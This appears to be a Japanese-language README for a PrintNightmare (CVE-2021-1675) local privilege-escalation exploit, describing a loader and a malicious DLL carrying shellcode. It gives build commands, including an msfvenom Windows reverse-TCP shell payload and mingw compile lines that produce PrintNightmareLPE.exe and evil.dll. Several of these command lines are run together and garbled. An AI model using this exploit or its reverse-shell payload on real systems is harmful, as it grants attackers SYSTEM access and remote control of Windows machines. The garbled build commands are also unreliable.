
ローカル特権昇格エクスプロイト(CVE-2021-1675 / PrintNightmare)で、悪意のあるDLLをインストールして、脆弱なWindowsシステム上でSYSTEMアクセスを獲得します。
src/nightmare.cpp: CVE-2021-1675を悪用してシステムアクセスを取得するためのソースコード 悪意のあるDLLをインストールすることで実現 src/payload-dll.cpp: エントリ関数に悪意のあるシェルコードを含むDLLのソースコード
!!テストの許可を得たサーバーに対してのみ使用してください
CVE-2021-1675は、Microsoft WindowsのPrint Spoolerサービスにおける脆弱性であり、 攻撃者がSeLoadDriverPrivilegeチェックをバイパスすることを可能にします。これは、 シェルコードを呼び出すか、Windows APIを使用してリバースシェル接続を確立する悪意のある DLLをインストールすることで、ターゲットマシン上で権限昇格を達成するために悪用できます。 2021年6月8日より前のWindows 10/8/Server 2008/Server 2012のバージョンが影響を受けます。
$ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f cx86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp
x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspoolx86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -sharedzip ./bin/PrinterNightmareLPE.exe ./lib/